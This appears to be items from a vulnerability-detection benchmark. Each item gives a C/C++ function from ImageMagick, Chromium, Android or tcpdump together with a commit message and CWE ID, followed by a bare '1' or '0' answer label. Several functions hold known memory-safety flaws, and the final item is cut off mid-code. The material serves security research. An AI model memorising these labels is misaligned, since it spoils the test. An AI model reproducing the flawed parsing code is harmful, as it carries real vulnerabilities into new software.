Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: static Image *ReadDPXImage(const ImageInfo *image_info,ExceptionInfo *exception) { char magick[4], value[MaxTextExtent]; DPXInfo dpx; Image *image; MagickBooleanType status; MagickOffsetType offset; QuantumInfo *quantum_info; QuantumType quantum_type; register ssize_t i; size_t extent, samples_per_pixel; ssize_t count, n, row, y; unsigned char component_type; /* Open image file. */ assert(image_info != (const ImageInfo *) NULL); assert(image_info->signature == MagickSignature); if (image_info->debug != MagickFalse) (void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s", image_info->filename); assert(exception != (ExceptionInfo *) NULL); assert(exception->signature == MagickSignature); image=AcquireImage(image_info); status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception); if (status == MagickFalse) { image=DestroyImageList(image); return((Image *) NULL); } /* Read DPX file header. */ offset=0; count=ReadBlob(image,4,(unsigned char *) magick); offset+=count; if ((count != 4) || ((LocaleNCompare(magick,"SDPX",4) != 0) && (LocaleNCompare((char *) magick,"XPDS",4) != 0))) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); image->endian=LSBEndian; if (LocaleNCompare(magick,"SDPX",4) == 0) image->endian=MSBEndian; (void) ResetMagickMemory(&dpx,0,sizeof(dpx)); dpx.file.image_offset=ReadBlobLong(image); offset+=4; offset+=ReadBlob(image,sizeof(dpx.file.version),(unsigned char *) dpx.file.version); (void) FormatImageProperty(image,"dpx:file.version","%.8s",dpx.file.version); dpx.file.file_size=ReadBlobLong(image); offset+=4; dpx.file.ditto_key=ReadBlobLong(image); offset+=4; if (dpx.file.ditto_key != ~0U) (void) FormatImageProperty(image,"dpx:file.ditto.key","%u", dpx.file.ditto_key); dpx.file.generic_size=ReadBlobLong(image); offset+=4; dpx.file.industry_size=ReadBlobLong(image); offset+=4; dpx.file.user_size=ReadBlobLong(image); offset+=4; offset+=ReadBlob(image,sizeof(dpx.file.filename),(unsigned char *) dpx.file.filename); (void) FormatImageProperty(image,"dpx:file.filename","%.100s", dpx.file.filename); (void) FormatImageProperty(image,"document","%.100s",dpx.file.filename); offset+=ReadBlob(image,sizeof(dpx.file.timestamp),(unsigned char *) dpx.file.timestamp); if (*dpx.file.timestamp != '\0') (void) FormatImageProperty(image,"dpx:file.timestamp","%.24s", dpx.file.timestamp); offset+=ReadBlob(image,sizeof(dpx.file.creator),(unsigned char *) dpx.file.creator); if (*dpx.file.creator == '\0') { (void) FormatImageProperty(image,"dpx:file.creator","%.100s", GetMagickVersion((size_t *) NULL)); (void) FormatImageProperty(image,"software","%.100s", GetMagickVersion((size_t *) NULL)); } else { (void) FormatImageProperty(image,"dpx:file.creator","%.100s", dpx.file.creator); (void) FormatImageProperty(image,"software","%.100s",dpx.file.creator); } offset+=ReadBlob(image,sizeof(dpx.file.project),(unsigned char *) dpx.file.project); if (*dpx.file.project != '\0') { (void) FormatImageProperty(image,"dpx:file.project","%.200s", dpx.file.project); (void) FormatImageProperty(image,"comment","%.100s",dpx.file.project); } offset+=ReadBlob(image,sizeof(dpx.file.copyright),(unsigned char *) dpx.file.copyright); if (*dpx.file.copyright != '\0') { (void) FormatImageProperty(image,"dpx:file.copyright","%.200s", dpx.file.copyright); (void) FormatImageProperty(image,"copyright","%.100s", dpx.file.copyright); } dpx.file.encrypt_key=ReadBlobLong(image); offset+=4; if (dpx.file.encrypt_key != ~0U) (void) FormatImageProperty(image,"dpx:file.encrypt_key","%u", dpx.file.encrypt_key); offset+=ReadBlob(image,sizeof(dpx.file.reserve),(unsigned char *) dpx.file.reserve); /* Read DPX image header. */ dpx.image.orientation=ReadBlobShort(image); if (dpx.image.orientation > 7) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); offset+=2; if (dpx.image.orientation != (unsigned short) ~0) (void) FormatImageProperty(image,"dpx:image.orientation","%d", dpx.image.orientation); switch (dpx.image.orientation) { default: case 0: image->orientation=TopLeftOrientation; break; case 1: image->orientation=TopRightOrientation; break; case 2: image->orientation=BottomLeftOrientation; break; case 3: image->orientation=BottomRightOrientation; break; case 4: image->orientation=LeftTopOrientation; break; case 5: image->orientation=RightTopOrientation; break; case 6: image->orientation=LeftBottomOrientation; break; case 7: image->orientation=RightBottomOrientation; break; } dpx.image.number_elements=ReadBlobShort(image); if (dpx.image.number_elements > MaxNumberImageElements) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); offset+=2; dpx.image.pixels_per_line=ReadBlobLong(image); offset+=4; image->columns=dpx.image.pixels_per_line; dpx.image.lines_per_element=ReadBlobLong(image); offset+=4; image->rows=dpx.image.lines_per_element; for (i=0; i < 8; i++) { char property[MaxTextExtent]; dpx.image.image_element[i].data_sign=ReadBlobLong(image); offset+=4; dpx.image.image_element[i].low_data=ReadBlobLong(image); offset+=4; dpx.image.image_element[i].low_quantity=ReadBlobFloat(image); offset+=4; dpx.image.image_element[i].high_data=ReadBlobLong(image); offset+=4; dpx.image.image_element[i].high_quantity=ReadBlobFloat(image); offset+=4; dpx.image.image_element[i].descriptor=(unsigned char) ReadBlobByte(image); offset++; dpx.image.image_element[i].transfer_characteristic=(unsigned char) ReadBlobByte(image); (void) FormatLocaleString(property,MaxTextExtent, "dpx:image.element[%lu].transfer-characteristic",(long) i); (void) FormatImageProperty(image,property,"%s", GetImageTransferCharacteristic((DPXTransferCharacteristic) dpx.image.image_element[i].transfer_characteristic)); offset++; dpx.image.image_element[i].colorimetric=(unsigned char) ReadBlobByte(image); offset++; dpx.image.image_element[i].bit_size=(unsigned char) ReadBlobByte(image); offset++; dpx.image.image_element[i].packing=ReadBlobShort(image); offset+=2; dpx.image.image_element[i].encoding=ReadBlobShort(image); offset+=2; dpx.image.image_element[i].data_offset=ReadBlobLong(image); offset+=4; dpx.image.image_element[i].end_of_line_padding=ReadBlobLong(image); offset+=4; dpx.image.image_element[i].end_of_image_padding=ReadBlobLong(image); offset+=4; offset+=ReadBlob(image,sizeof(dpx.image.image_element[i].description), (unsigned char *) dpx.image.image_element[i].description); } (void) SetImageColorspace(image,RGBColorspace); offset+=ReadBlob(image,sizeof(dpx.image.reserve),(unsigned char *) dpx.image.reserve); if (dpx.file.image_offset >= 1664U) { /* Read DPX orientation header. */ dpx.orientation.x_offset=ReadBlobLong(image); offset+=4; if (dpx.orientation.x_offset != ~0U) (void) FormatImageProperty(image,"dpx:orientation.x_offset","%u", dpx.orientation.x_offset); dpx.orientation.y_offset=ReadBlobLong(image); offset+=4; if (dpx.orientation.y_offset != ~0U) (void) FormatImageProperty(image,"dpx:orientation.y_offset","%u", dpx.orientation.y_offset); dpx.orientation.x_center=ReadBlobFloat(image); offset+=4; if (IsFloatDefined(dpx.orientation.x_center) != MagickFalse) (void) FormatImageProperty(image,"dpx:orientation.x_center","%g", dpx.orientation.x_center); dpx.orientation.y_center=ReadBlobFloat(image); offset+=4; if (IsFloatDefined(dpx.orientation.y_center) != MagickFalse) (void) FormatImageProperty(image,"dpx:orientation.y_center","%g", dpx.orientation.y_center); dpx.orientation.x_size=ReadBlobLong(image); offset+=4; if (dpx.orientation.x_size != ~0U) (void) FormatImageProperty(image,"dpx:orientation.x_size","%u", dpx.orientation.x_size); dpx.orientation.y_size=ReadBlobLong(image); offset+=4; if (dpx.orientation.y_size != ~0U) (void) FormatImageProperty(image,"dpx:orientation.y_size","%u", dpx.orientation.y_size); offset+=ReadBlob(image,sizeof(dpx.orientation.filename),(unsigned char *) dpx.orientation.filename); if (*dpx.orientation.filename != '\0') (void) FormatImageProperty(image,"dpx:orientation.filename","%.100s", dpx.orientation.filename); offset+=ReadBlob(image,sizeof(dpx.orientation.timestamp),(unsigned char *) dpx.orientation.timestamp); if (*dpx.orientation.timestamp != '\0') (void) FormatImageProperty(image,"dpx:orientation.timestamp","%.24s", dpx.orientation.timestamp); offset+=ReadBlob(image,sizeof(dpx.orientation.device),(unsigned char *) dpx.orientation.device); if (*dpx.orientation.device != '\0') (void) FormatImageProperty(image,"dpx:orientation.device","%.32s", dpx.orientation.device); offset+=ReadBlob(image,sizeof(dpx.orientation.serial),(unsigned char *) dpx.orientation.serial); if (*dpx.orientation.serial != '\0') (void) FormatImageProperty(image,"dpx:orientation.serial","%.32s", dpx.orientation.serial); for (i=0; i < 4; i++) { dpx.orientation.border[i]=ReadBlobShort(image); offset+=2; } if ((dpx.orientation.border[0] != (unsigned short) (~0)) && (dpx.orientation.border[1] != (unsigned short) (~0))) (void) FormatImageProperty(image,"dpx:orientation.border","%dx%d%+d%+d", dpx.orientation.border[0],dpx.orientation.border[1], dpx.orientation.border[2],dpx.orientation.border[3]); for (i=0; i < 2; i++) { dpx.orientation.aspect_ratio[i]=ReadBlobLong(image); offset+=4; } if ((dpx.orientation.aspect_ratio[0] != ~0U) && (dpx.orientation.aspect_ratio[1] != ~0U)) (void) FormatImageProperty(image,"dpx:orientation.aspect_ratio", "%ux%u",dpx.orientation.aspect_ratio[0], dpx.orientation.aspect_ratio[1]); offset+=ReadBlob(image,sizeof(dpx.orientation.reserve),(unsigned char *) dpx.orientation.reserve); } if (dpx.file.image_offset >= 1920U) { /* Read DPX film header. */ offset+=ReadBlob(image,sizeof(dpx.film.id),(unsigned char *) dpx.film.id); if (*dpx.film.id != '\0') (void) FormatImageProperty(image,"dpx:film.id","%.2s",dpx.film.id); offset+=ReadBlob(image,sizeof(dpx.film.type),(unsigned char *) dpx.film.type); if (*dpx.film.type != '\0') (void) FormatImageProperty(image,"dpx:film.type","%.2s",dpx.film.type); offset+=ReadBlob(image,sizeof(dpx.film.offset),(unsigned char *) dpx.film.offset); if (*dpx.film.offset != '\0') (void) FormatImageProperty(image,"dpx:film.offset","%.2s", dpx.film.offset); offset+=ReadBlob(image,sizeof(dpx.film.prefix),(unsigned char *) dpx.film.prefix); if (*dpx.film.prefix != '\0') (void) FormatImageProperty(image,"dpx:film.prefix","%.6s", dpx.film.prefix); offset+=ReadBlob(image,sizeof(dpx.film.count),(unsigned char *) dpx.film.count); if (*dpx.film.count != '\0') (void) FormatImageProperty(image,"dpx:film.count","%.4s", dpx.film.count); offset+=ReadBlob(image,sizeof(dpx.film.format),(unsigned char *) dpx.film.format); if (*dpx.film.format != '\0') (void) FormatImageProperty(image,"dpx:film.format","%.4s", dpx.film.format); dpx.film.frame_position=ReadBlobLong(image); offset+=4; if (dpx.film.frame_position != ~0U) (void) FormatImageProperty(image,"dpx:film.frame_position","%u", dpx.film.frame_position); dpx.film.sequence_extent=ReadBlobLong(image); offset+=4; if (dpx.film.sequence_extent != ~0U) (void) FormatImageProperty(image,"dpx:film.sequence_extent","%u", dpx.film.sequence_extent); dpx.film.held_count=ReadBlobLong(image); offset+=4; if (dpx.film.held_count != ~0U) (void) FormatImageProperty(image,"dpx:film.held_count","%u", dpx.film.held_count); dpx.film.frame_rate=ReadBlobFloat(image); offset+=4; if (IsFloatDefined(dpx.film.frame_rate) != MagickFalse) (void) FormatImageProperty(image,"dpx:film.frame_rate","%g", dpx.film.frame_rate); dpx.film.shutter_angle=ReadBlobFloat(image); offset+=4; if (IsFloatDefined(dpx.film.shutter_angle) != MagickFalse) (void) FormatImageProperty(image,"dpx:film.shutter_angle","%g", dpx.film.shutter_angle); offset+=ReadBlob(image,sizeof(dpx.film.frame_id),(unsigned char *) dpx.film.frame_id); if (*dpx.film.frame_id != '\0') (void) FormatImageProperty(image,"dpx:film.frame_id","%.32s", dpx.film.frame_id); offset+=ReadBlob(image,sizeof(dpx.film.slate),(unsigned char *) dpx.film.slate); if (*dpx.film.slate != '\0') (void) FormatImageProperty(image,"dpx:film.slate","%.100s", dpx.film.slate); offset+=ReadBlob(image,sizeof(dpx.film.reserve),(unsigned char *) dpx.film.reserve); } if (dpx.file.image_offset >= 2048U) { /* Read DPX television header. */ dpx.television.time_code=(unsigned int) ReadBlobLong(image); offset+=4; TimeCodeToString(dpx.television.time_code,value); (void) SetImageProperty(image,"dpx:television.time.code",value); dpx.television.user_bits=(unsigned int) ReadBlobLong(image); offset+=4; TimeCodeToString(dpx.television.user_bits,value); (void) SetImageProperty(image,"dpx:television.user.bits",value); dpx.television.interlace=(unsigned char) ReadBlobByte(image); offset++; if (dpx.television.interlace != 0) (void) FormatImageProperty(image,"dpx:television.interlace","%.20g", (double) dpx.television.interlace); dpx.television.field_number=(unsigned char) ReadBlobByte(image); offset++; if (dpx.television.field_number != 0) (void) FormatImageProperty(image,"dpx:television.field_number","%.20g", (double) dpx.television.field_number); dpx.television.video_signal=(unsigned char) ReadBlobByte(image); offset++; if (dpx.television.video_signal != 0) (void) FormatImageProperty(image,"dpx:television.video_signal","%.20g", (double) dpx.television.video_signal); dpx.television.padding=(unsigned char) ReadBlobByte(image); offset++; if (dpx.television.padding != 0) (void) FormatImageProperty(image,"dpx:television.padding","%d", dpx.television.padding); dpx.television.horizontal_sample_rate=ReadBlobFloat(image); offset+=4; if (IsFloatDefined(dpx.television.horizontal_sample_rate) != MagickFalse) (void) FormatImageProperty(image, "dpx:television.horizontal_sample_rate","%g", dpx.television.horizontal_sample_rate); dpx.television.vertical_sample_rate=ReadBlobFloat(image); offset+=4; if (IsFloatDefined(dpx.television.vertical_sample_rate) != MagickFalse) (void) FormatImageProperty(image,"dpx:television.vertical_sample_rate", "%g",dpx.television.vertical_sample_rate); dpx.television.frame_rate=ReadBlobFloat(image); offset+=4; if (IsFloatDefined(dpx.television.frame_rate) != MagickFalse) (void) FormatImageProperty(image,"dpx:television.frame_rate","%g", dpx.television.frame_rate); dpx.television.time_offset=ReadBlobFloat(image); offset+=4; if (IsFloatDefined(dpx.television.time_offset) != MagickFalse) (void) FormatImageProperty(image,"dpx:television.time_offset","%g", dpx.television.time_offset); dpx.television.gamma=ReadBlobFloat(image); offset+=4; if (IsFloatDefined(dpx.television.gamma) != MagickFalse) (void) FormatImageProperty(image,"dpx:television.gamma","%g", dpx.television.gamma); dpx.television.black_level=ReadBlobFloat(image); offset+=4; if (IsFloatDefined(dpx.television.black_level) != MagickFalse) (void) FormatImageProperty(image,"dpx:television.black_level","%g", dpx.television.black_level); dpx.television.black_gain=ReadBlobFloat(image); offset+=4; if (IsFloatDefined(dpx.television.black_gain) != MagickFalse) (void) FormatImageProperty(image,"dpx:television.black_gain","%g", dpx.television.black_gain); dpx.television.break_point=ReadBlobFloat(image); offset+=4; if (IsFloatDefined(dpx.television.break_point) != MagickFalse) (void) FormatImageProperty(image,"dpx:television.break_point","%g", dpx.television.break_point); dpx.television.white_level=ReadBlobFloat(image); offset+=4; if (IsFloatDefined(dpx.television.white_level) != MagickFalse) (void) FormatImageProperty(image,"dpx:television.white_level","%g", dpx.television.white_level); dpx.television.integration_times=ReadBlobFloat(image); offset+=4; if (IsFloatDefined(dpx.television.integration_times) != MagickFalse) (void) FormatImageProperty(image,"dpx:television.integration_times", "%g",dpx.television.integration_times); offset+=ReadBlob(image,sizeof(dpx.television.reserve),(unsigned char *) dpx.television.reserve); } if (dpx.file.image_offset > 2080U) { /* Read DPX user header. */ offset+=ReadBlob(image,sizeof(dpx.user.id),(unsigned char *) dpx.user.id); if (*dpx.user.id != '\0') (void) FormatImageProperty(image,"dpx:user.id","%.32s",dpx.user.id); if ((dpx.file.user_size != ~0U) && ((size_t) dpx.file.user_size > sizeof(dpx.user.id))) { StringInfo *profile; profile=BlobToStringInfo((const void *) NULL, dpx.file.user_size-sizeof(dpx.user.id)); if (profile == (StringInfo *) NULL) ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); offset+=ReadBlob(image,GetStringInfoLength(profile), GetStringInfoDatum(profile)); (void) SetImageProfile(image,"dpx:user-data",profile); profile=DestroyStringInfo(profile); } } for ( ; offset < (MagickOffsetType) dpx.file.image_offset; offset++) (void) ReadBlobByte(image); /* Read DPX image header. */ if (image_info->ping != MagickFalse) { (void) CloseBlob(image); return(GetFirstImageInList(image)); } for (n=0; n < (ssize_t) dpx.image.number_elements; n++) { /* Convert DPX raster image to pixel packets. */ if ((dpx.image.image_element[n].data_offset != ~0U) && (dpx.image.image_element[n].data_offset != 0U)) { MagickOffsetType data_offset; data_offset=(MagickOffsetType) dpx.image.image_element[n].data_offset; if (data_offset < offset) offset=SeekBlob(image,data_offset,SEEK_SET); else for ( ; offset < data_offset; offset++) (void) ReadBlobByte(image); if (offset != data_offset) ThrowReaderException(CorruptImageError,"UnableToReadImageData"); } SetPrimaryChromaticity((DPXColorimetric) dpx.image.image_element[n].colorimetric,&image->chromaticity); image->depth=dpx.image.image_element[n].bit_size; samples_per_pixel=1; quantum_type=GrayQuantum; component_type=dpx.image.image_element[n].descriptor; switch (component_type) { case CbYCrY422ComponentType: { samples_per_pixel=2; quantum_type=CbYCrYQuantum; break; } case CbYACrYA4224ComponentType: case CbYCr444ComponentType: { samples_per_pixel=3; quantum_type=CbYCrQuantum; break; } case RGBComponentType: { samples_per_pixel=3; quantum_type=RGBQuantum; break; } case ABGRComponentType: case RGBAComponentType: { image->matte=MagickTrue; samples_per_pixel=4; quantum_type=RGBAQuantum; break; } default: break; } switch (component_type) { case CbYCrY422ComponentType: case CbYACrYA4224ComponentType: case CbYCr444ComponentType: { (void) SetImageColorspace(image,Rec709YCbCrColorspace); break; } case LumaComponentType: { (void) SetImageColorspace(image,GRAYColorspace); break; } default: { (void) SetImageColorspace(image,RGBColorspace); if (dpx.image.image_element[n].transfer_characteristic == LogarithmicColorimetric) (void) SetImageColorspace(image,LogColorspace); if (dpx.image.image_element[n].transfer_characteristic == PrintingDensityColorimetric) (void) SetImageColorspace(image,LogColorspace); break; } } extent=GetBytesPerRow(image->columns,samples_per_pixel,image->depth, dpx.image.image_element[n].packing == 0 ? MagickFalse : MagickTrue); /* DPX any-bit pixel format. */ status=MagickTrue; row=0; quantum_info=AcquireQuantumInfo(image_info,image); if (quantum_info == (QuantumInfo *) NULL) ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); SetQuantumQuantum(quantum_info,32); SetQuantumPack(quantum_info,dpx.image.image_element[n].packing == 0 ? MagickTrue : MagickFalse); for (y=0; y < (ssize_t) image->rows; y++) { MagickBooleanType sync; register PixelPacket *q; size_t length; ssize_t count, offset; unsigned char *pixels; if (status == MagickFalse) continue; pixels=GetQuantumPixels(quantum_info); { count=ReadBlob(image,extent,pixels); if ((image->progress_monitor != (MagickProgressMonitor) NULL) && (image->previous == (Image *) NULL)) { MagickBooleanType proceed; proceed=SetImageProgress(image,LoadImageTag,(MagickOffsetType) row, image->rows); if (proceed == MagickFalse) status=MagickFalse; } offset=row++; } if (count != (ssize_t) extent) status=MagickFalse; q=QueueAuthenticPixels(image,0,offset,image->columns,1,exception); if (q == (PixelPacket *) NULL) { status=MagickFalse; continue; } length=ImportQuantumPixels(image,(CacheView *) NULL,quantum_info, quantum_type,pixels,exception); (void) length; sync=SyncAuthenticPixels(image,exception); if (sync == MagickFalse) status=MagickFalse; } quantum_info=DestroyQuantumInfo(quantum_info); if (status == MagickFalse) ThrowReaderException(CorruptImageError,"UnableToReadImageData"); SetQuantumImageType(image,quantum_type); if (EOFBlob(image) != MagickFalse) ThrowFileException(exception,CorruptImageError,"UnexpectedEndOfFile", image->filename); } (void) CloseBlob(image); return(GetFirstImageInList(image)); } Commit Message: CWE ID: CWE-119 Output:
1
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: ssize_t NuPlayer::NuPlayerStreamListener::read( void *data, size_t size, sp<AMessage> *extra) { CHECK_GT(size, 0u); extra->clear(); Mutex::Autolock autoLock(mLock); if (mEOS) { return 0; } if (mQueue.empty()) { mSendDataNotification = true; return -EWOULDBLOCK; } QueueEntry *entry = &*mQueue.begin(); if (entry->mIsCommand) { switch (entry->mCommand) { case EOS: { mQueue.erase(mQueue.begin()); entry = NULL; mEOS = true; return 0; } case DISCONTINUITY: { *extra = entry->mExtra; mQueue.erase(mQueue.begin()); entry = NULL; return INFO_DISCONTINUITY; } default: TRESPASS(); break; } } size_t copy = entry->mSize; if (copy > size) { copy = size; } memcpy(data, (const uint8_t *)mBuffers.editItemAt(entry->mIndex)->pointer() + entry->mOffset, copy); entry->mOffset += copy; entry->mSize -= copy; if (entry->mSize == 0) { mSource->onBufferAvailable(entry->mIndex); mQueue.erase(mQueue.begin()); entry = NULL; } return copy; } Commit Message: NuPlayerStreamListener: NULL and bounds check before memcpy Bug: 27533704 Change-Id: I992a7709b92b1cbc3114c97bec48a3fc5b22ba6e CWE ID: CWE-264 Target: 1 Example 2: Code: void Detach() { base::AutoLock lock(lock_); filter_ = nullptr; } Commit Message: Switching AudioOutputAuthorizationHandler from using AudioManager interface to AudioSystem one. BUG=672468 CQ_INCLUDE_TRYBOTS=master.tryserver.chromium.linux:linux_optional_gpu_tests_rel;master.tryserver.chromium.mac:mac_optional_gpu_tests_rel;master.tryserver.chromium.win:win_optional_gpu_tests_rel Review-Url: https://codereview.chromium.org/2692203003 Cr-Commit-Position: refs/heads/master@{#450939} CWE ID: Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: void PrintingMessageFilter::OnUpdatePrintSettings( int document_cookie, const DictionaryValue& job_settings, IPC::Message* reply_msg) { scoped_refptr<printing::PrinterQuery> printer_query; if (!profile_io_data_->printing_enabled()->GetValue()) { OnUpdatePrintSettingsReply(printer_query, reply_msg); return; } print_job_manager_->PopPrinterQuery(document_cookie, &printer_query); if (!printer_query.get()) { printer_query = new printing::PrinterQuery; printer_query->SetWorkerDestination(print_job_manager_->destination()); } printer_query->SetSettings( job_settings, base::Bind(&PrintingMessageFilter::OnUpdatePrintSettingsReply, this, printer_query, reply_msg)); } Commit Message: Print preview: Use an ID instead of memory pointer string in WebUI. BUG=144051 Review URL: https://chromiumcodereview.appspot.com/10870003 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@153342 0039d316-1c4b-4281-b951-d872f2087c98 CWE ID: CWE-200 Output:
0
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: babel_print_v2(netdissect_options *ndo, const u_char *cp, u_int length) { u_int i; u_short bodylen; u_char v4_prefix[16] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0xFF, 0xFF, 0, 0, 0, 0 }; u_char v6_prefix[16] = {0}; ND_TCHECK2(*cp, 4); if (length < 4) goto invalid; bodylen = EXTRACT_16BITS(cp + 2); ND_PRINT((ndo, " (%u)", bodylen)); /* Process the TLVs in the body */ i = 0; while(i < bodylen) { const u_char *message; u_int type, len; message = cp + 4 + i; ND_TCHECK2(*message, 1); if((type = message[0]) == MESSAGE_PAD1) { ND_PRINT((ndo, ndo->ndo_vflag ? "\n\tPad 1" : " pad1")); i += 1; continue; } ND_TCHECK2(*message, 2); ICHECK(i, 2); len = message[1]; ND_TCHECK2(*message, 2 + len); ICHECK(i, 2 + len); switch(type) { case MESSAGE_PADN: { if (!ndo->ndo_vflag) ND_PRINT((ndo, " padN")); else ND_PRINT((ndo, "\n\tPad %d", len + 2)); } break; case MESSAGE_ACK_REQ: { u_short nonce, interval; if (!ndo->ndo_vflag) ND_PRINT((ndo, " ack-req")); else { ND_PRINT((ndo, "\n\tAcknowledgment Request ")); if(len < 6) goto invalid; nonce = EXTRACT_16BITS(message + 4); interval = EXTRACT_16BITS(message + 6); ND_PRINT((ndo, "%04x %s", nonce, format_interval(interval))); } } break; case MESSAGE_ACK: { u_short nonce; if (!ndo->ndo_vflag) ND_PRINT((ndo, " ack")); else { ND_PRINT((ndo, "\n\tAcknowledgment ")); if(len < 2) goto invalid; nonce = EXTRACT_16BITS(message + 2); ND_PRINT((ndo, "%04x", nonce)); } } break; case MESSAGE_HELLO: { u_short seqno, interval; if (!ndo->ndo_vflag) ND_PRINT((ndo, " hello")); else { ND_PRINT((ndo, "\n\tHello ")); if(len < 6) goto invalid; seqno = EXTRACT_16BITS(message + 4); interval = EXTRACT_16BITS(message + 6); ND_PRINT((ndo, "seqno %u interval %s", seqno, format_interval(interval))); /* Extra data. */ if(len > 6) subtlvs_print(ndo, message + 8, message + 2 + len, type); } } break; case MESSAGE_IHU: { unsigned short txcost, interval; if (!ndo->ndo_vflag) ND_PRINT((ndo, " ihu")); else { u_char address[16]; int rc; ND_PRINT((ndo, "\n\tIHU ")); if(len < 6) goto invalid; txcost = EXTRACT_16BITS(message + 4); interval = EXTRACT_16BITS(message + 6); rc = network_address(message[2], message + 8, len - 6, address); if(rc < 0) { ND_PRINT((ndo, "%s", tstr)); break; } ND_PRINT((ndo, "%s txcost %u interval %s", format_address(ndo, address), txcost, format_interval(interval))); /* Extra data. */ if((u_int)rc < len - 6) subtlvs_print(ndo, message + 8 + rc, message + 2 + len, type); } } break; case MESSAGE_ROUTER_ID: { if (!ndo->ndo_vflag) ND_PRINT((ndo, " router-id")); else { ND_PRINT((ndo, "\n\tRouter Id")); if(len < 10) goto invalid; ND_PRINT((ndo, " %s", format_id(message + 4))); } } break; case MESSAGE_NH: { if (!ndo->ndo_vflag) ND_PRINT((ndo, " nh")); else { int rc; u_char nh[16]; ND_PRINT((ndo, "\n\tNext Hop")); if(len < 2) goto invalid; rc = network_address(message[2], message + 4, len - 2, nh); if(rc < 0) goto invalid; ND_PRINT((ndo, " %s", format_address(ndo, nh))); } } break; case MESSAGE_UPDATE: { if (!ndo->ndo_vflag) { ND_PRINT((ndo, " update")); if(len < 1) ND_PRINT((ndo, "/truncated")); else ND_PRINT((ndo, "%s%s%s", (message[3] & 0x80) ? "/prefix": "", (message[3] & 0x40) ? "/id" : "", (message[3] & 0x3f) ? "/unknown" : "")); } else { u_short interval, seqno, metric; u_char plen; int rc; u_char prefix[16]; ND_PRINT((ndo, "\n\tUpdate")); if(len < 10) goto invalid; plen = message[4] + (message[2] == 1 ? 96 : 0); rc = network_prefix(message[2], message[4], message[5], message + 12, message[2] == 1 ? v4_prefix : v6_prefix, len - 10, prefix); if(rc < 0) goto invalid; interval = EXTRACT_16BITS(message + 6); seqno = EXTRACT_16BITS(message + 8); metric = EXTRACT_16BITS(message + 10); ND_PRINT((ndo, "%s%s%s %s metric %u seqno %u interval %s", (message[3] & 0x80) ? "/prefix": "", (message[3] & 0x40) ? "/id" : "", (message[3] & 0x3f) ? "/unknown" : "", format_prefix(ndo, prefix, plen), metric, seqno, format_interval_update(interval))); if(message[3] & 0x80) { if(message[2] == 1) memcpy(v4_prefix, prefix, 16); else memcpy(v6_prefix, prefix, 16); } /* extra data? */ if((u_int)rc < len - 10) subtlvs_print(ndo, message + 12 + rc, message + 2 + len, type); } } break; case MESSAGE_REQUEST: { if (!ndo->ndo_vflag) ND_PRINT((ndo, " request")); else { int rc; u_char prefix[16], plen; ND_PRINT((ndo, "\n\tRequest ")); if(len < 2) goto invalid; plen = message[3] + (message[2] == 1 ? 96 : 0); rc = network_prefix(message[2], message[3], 0, message + 4, NULL, len - 2, prefix); if(rc < 0) goto invalid; ND_PRINT((ndo, "for %s", message[2] == 0 ? "any" : format_prefix(ndo, prefix, plen))); } } break; case MESSAGE_MH_REQUEST : { if (!ndo->ndo_vflag) ND_PRINT((ndo, " mh-request")); else { int rc; u_short seqno; u_char prefix[16], plen; ND_PRINT((ndo, "\n\tMH-Request ")); if(len < 14) goto invalid; seqno = EXTRACT_16BITS(message + 4); rc = network_prefix(message[2], message[3], 0, message + 16, NULL, len - 14, prefix); if(rc < 0) goto invalid; plen = message[3] + (message[2] == 1 ? 96 : 0); ND_PRINT((ndo, "(%u hops) for %s seqno %u id %s", message[6], format_prefix(ndo, prefix, plen), seqno, format_id(message + 8))); } } break; case MESSAGE_TSPC : if (!ndo->ndo_vflag) ND_PRINT((ndo, " tspc")); else { ND_PRINT((ndo, "\n\tTS/PC ")); if(len < 6) goto invalid; ND_PRINT((ndo, "timestamp %u packetcounter %u", EXTRACT_32BITS (message + 4), EXTRACT_16BITS(message + 2))); } break; case MESSAGE_HMAC : { if (!ndo->ndo_vflag) ND_PRINT((ndo, " hmac")); else { unsigned j; ND_PRINT((ndo, "\n\tHMAC ")); if(len < 18) goto invalid; ND_PRINT((ndo, "key-id %u digest-%u ", EXTRACT_16BITS(message + 2), len - 2)); for (j = 0; j < len - 2; j++) ND_PRINT((ndo, "%02X", message[4 + j])); } } break; case MESSAGE_UPDATE_SRC_SPECIFIC : { if(!ndo->ndo_vflag) { ND_PRINT((ndo, " ss-update")); } else { u_char prefix[16], src_prefix[16]; u_short interval, seqno, metric; u_char ae, plen, src_plen, omitted; int rc; int parsed_len = 10; ND_PRINT((ndo, "\n\tSS-Update")); if(len < 10) goto invalid; ae = message[2]; src_plen = message[3]; plen = message[4]; omitted = message[5]; interval = EXTRACT_16BITS(message + 6); seqno = EXTRACT_16BITS(message + 8); metric = EXTRACT_16BITS(message + 10); rc = network_prefix(ae, plen, omitted, message + 2 + parsed_len, ae == 1 ? v4_prefix : v6_prefix, len - parsed_len, prefix); if(rc < 0) goto invalid; if(ae == 1) plen += 96; parsed_len += rc; rc = network_prefix(ae, src_plen, 0, message + 2 + parsed_len, NULL, len - parsed_len, src_prefix); if(rc < 0) goto invalid; if(ae == 1) src_plen += 96; parsed_len += rc; ND_PRINT((ndo, " %s from", format_prefix(ndo, prefix, plen))); ND_PRINT((ndo, " %s metric %u seqno %u interval %s", format_prefix(ndo, src_prefix, src_plen), metric, seqno, format_interval_update(interval))); /* extra data? */ if((u_int)parsed_len < len) subtlvs_print(ndo, message + 2 + parsed_len, message + 2 + len, type); } } break; case MESSAGE_REQUEST_SRC_SPECIFIC : { if(!ndo->ndo_vflag) 